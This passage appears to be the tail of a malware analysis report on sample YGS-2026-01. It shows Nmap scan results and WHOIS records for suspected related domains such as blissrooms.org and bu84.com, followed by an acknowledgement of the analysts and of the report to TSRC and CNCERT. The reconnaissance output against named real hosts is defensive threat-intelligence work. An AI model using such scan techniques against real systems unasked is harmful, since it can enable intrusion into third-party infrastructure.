ConnectWithDatabase, SupportsLoadDataLocal, Speaks41ProtocolOld, LongColumnFlag,
SupportsAuthPlugins, SupportsMultipleStatements, SupportsMultipleResults
| Status: Autocommit
| Salt: \x1Bz\x17\x1F\xN\x07-6om\x18/PA_\x0736T
|_ Auth Plugin Name: mysql_native_password
8080/tcp open  http-proxy?
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1
closed port
Aggressive OS guesses: Huawei MT880 ADSL modem (97%), Juniper Networks SSG 20 firewall
(97%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (97%), SiliconDust HDHomeRun set
top box (97%), Allied Telesyn Rapier G6 switch (97%), Cisco SG200 switch (97%), Cisco SG300
switch (97%), CMI Genus NEMA terminal (97%), Dell Remote Access Controller 4/I (97%),
GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=265 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 443/tcp)
HOP RTT      ADDRESS
1  23.50 ms  _gateway (192.168.31.184)
2  ...
3  338.29 ms 107.151.212.80

Nmap scan report for downloads.blissroms.org (104.21.64.137)
Host is up (0.39s latency).
Other addresses for downloads.blissroms.org (not scanned): 172.67.151.52
2606:4700:3031::6815:4089 2606:4700:3037::ac43:9734
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh?
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
25/tcp    open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open  http         Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: Did not follow redirect to https://downloads.blissroms.org/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
110/tcp   open  pop3?
143/tcp   open  imap?
443/tcp   open  ssl/http     Cloudflare http proxy
|_http-server-header: cloudflare
| http-methods:
|_ Supported Methods: OPTIONS

```

```
| ssl-cert: Subject: commonName=blissrooms.org
| Subject Alternative Name: DNS:blissrooms.org, DNS:*.blissrooms.org
| Issuer: commonName=WE1/organizationName=Google Trust Services/countryName=US
| Public Key type: ec
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2025-12-16T12:21:38
| Not valid after: 2026-03-16T13:20:09
| MD5: 6ae0 a512 ea21 52f2 5038 8f9e bac6 69e5
|_SHA-1: 0a38 8f05 d62f 5b4c 1f90 997a 9048 d14a 315a 9a1d
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
465/tcp open smtps?
|_smtp-commands: Couldn't establish connection on port 465
587/tcp open submission?
|_smtp-commands: Couldn't establish connection on port 587
993/tcp open imaps?
995/tcp open pop3s?
1935/tcp open rtmp?
8080/tcp open http Cloudflare http proxy
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: cloudflare
|_http-title: Did not follow redirect to https://downloads.blissrooms.org:8080/
8443/tcp open ssl/http Cloudflare http proxy
|_http-server-header: cloudflare
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=blissrooms.org
| Subject Alternative Name: DNS:blissrooms.org, DNS:*.blissrooms.org
| Issuer: commonName=WE1/organizationName=Google Trust Services/countryName=US
| Public Key type: ec
| Public Key bits: 256
| Signature Algorithm: ecdsa-with-SHA256
| Not valid before: 2025-12-16T12:21:38
| Not valid after: 2026-03-16T13:20:09
| MD5: 6ae0 a512 ea21 52f2 5038 8f9e bac6 69e5
|_SHA-1: 0a38 8f05 d62f 5b4c 1f90 997a 9048 d14a 315a 9a1d
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1
closed port
Aggressive OS guesses: Juniper Networks SSG 20 firewall (97%), CMI Genus NEMA terminal
(97%), GlobespanVirata GS8100, Huawei MT880, or Solwise SAR 100 ADSL modem (97%), HP
Integrated Lights-Out 2 (97%), Netgear DM602 ADSL router (97%), Panasonic BL-C210A webcam
(97%), Lantronix XPort AR (95%), Juniper SRX200-series firewall (JUNOS 12.1 - 12.3) (94%),
Cisco SG300 switch (94%), Linux 2.6.18 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class

TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 2.55 ms _gateway (192.168.31.184)
2 ...
3 445.56 ms 104.21.64.137
```

Domain Name: blissrooms.org

Registry Domain ID: REDACTED

Registrar WHOIS Server: whois.namecheap.com

Registrar URL: http://www.namecheap.com

Updated Date: 2025-09-17T06:11:30Z

Creation Date: 2019-10-12T18:46:33Z

Registry Expiry Date: 2026-10-12T18:46:33Z

Registrar: NameCheap, Inc.

Registrar IANA ID: 1068

Registrar Abuse Contact Email: abuse@namecheap.com

Registrar Abuse Contact Phone: +1.9854014545

Domain Status: clientTransferProhibited <https://icann.org/epp#clientTransferProhibited>

Name Server: dean.ns.cloudflare.com

Name Server: sandy.ns.cloudflare.com

DNSSEC: signedDelegation

URL of the ICANN Whois Inaccuracy Complaint Form: <https://icann.org/wicf/>

>>> Last update of WHOIS database: 2026-01-20T07:54:24Z <<<

Domain Name: docq.cn

ROID: 20140331s10001s70667919-cn

Domain Status: clientTransferProhibited

Registrant: 武汉织云软件有限公司

Registrant Contact Email: contact@zysoft.com

Sponsoring Registrar: 阿里云计算有限公司 (万网)

Name Server: dns7.hichina.com

Name Server: dns8.hichina.com

Registration Time: 2014-03-31 18:54:23

Expiration Time: 2026-03-31 18:54:23

DNSSEC: unsigned

Domain Name: BU84.COM

Registry Domain ID: 2261456104_DOMAIN_COM-VRSN

Registrar WHOIS Server: grs-whois.hichina.com

Registrar URL: <http://www.net.cn>

Updated Date: 2026-01-14T07:24:30Z

Creation Date: 2018-05-09T16:42:44Z

Registry Expiry Date: 2027-05-09T16:42:44Z

Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.

Registrar IANA ID: 420

Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com

Registrar Abuse Contact Phone: +86.95187

Domain Status: ok <https://icann.org/epp#ok>

Name Server: DNS15.HICHINA.COM

Name Server: DNS16.HICHINA.COM

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form: <https://www.icann.org/wicf/>

>>> Last update of whois database: 2026-01-20T07:56:13Z <<<

Domain Name: bu84.com

Registry Domain ID: 2261456104_DOMAIN_COM-VRSN

Registrar WHOIS Server: grs-whois.hichina.com

Registrar URL: <http://www.net.cn>

Updated Date: 2025-04-13T11:22:24Z

Creation Date: 2018-05-09T16:42:44Z

Registrar Registration Expiration Date: 2027-05-09T16:42:44Z

Registrar: Alibaba Cloud Computing (Beijing) Co., Ltd.

Registrar IANA ID: 420

Reseller:

Domain Status: ok <https://icann.org/epp#ok>

Registrant City:

Registrant State/Province: fu jian

Registrant Country: CN

Registrant Email: <https://whois.aliyun.com/whois/whoisForm>

Registry Registrant ID: Not Available From Registry

Name Server: DNS15.HICHINA.COM

Name Server: DNS16.HICHINA.COM

DNSSEC: unsigned

Registrar Abuse Contact Email: DomainAbuse@service.aliyun.com

Registrar Abuse Contact Phone: +86.95187

URL of the ICANN WHOIS Data Problem Reporting System: <http://wdprs.internic.net/>

>>>Last update of WHOIS database: 2026-01-20T07:56:21Z <<<

Acknowledgement

Sample Submission

This malware sample was submitted by **Xiaoru Zhang** (Apich Organization) on January 19, 2026, at 23:12 CST.

Analysis Timeline

- **Initial Response:** January 20, 2026, at 01:13 CST.
- **Phase I Analysis:** Conducted by **Xinyu Yang** (Apich Organization Security Team); completed January 20, 2026, at 13:04 CST.
- **Phase II Analysis:** Conducted by **Xinyu Yang** (Apich Organization Security Team); completed January 20, 2026, at 17:24 CST.

Reporting & Coordination

The initial report was submitted to the **TSRC** on January 20, 2026, at 13:43 CST, with subsequent revisions finalized at 17:29 and 17:59 CST.

Conclusion of Internal Operations

With the release of this acknowledgement, the **Apich Organization Security Team** has officially concluded its primary internal tasks regarding sample **YGS-2026-01**. However, we remain committed to supporting the ongoing efforts of the **TSRC** and **CNCERT**.

Furthermore, our team will continue to actively monitor and track all future variants within the **YGS** malware family.

Special Thanks

We would like to extend our sincere gratitude to all members and external contributors who provided invaluable assistance throughout this analysis.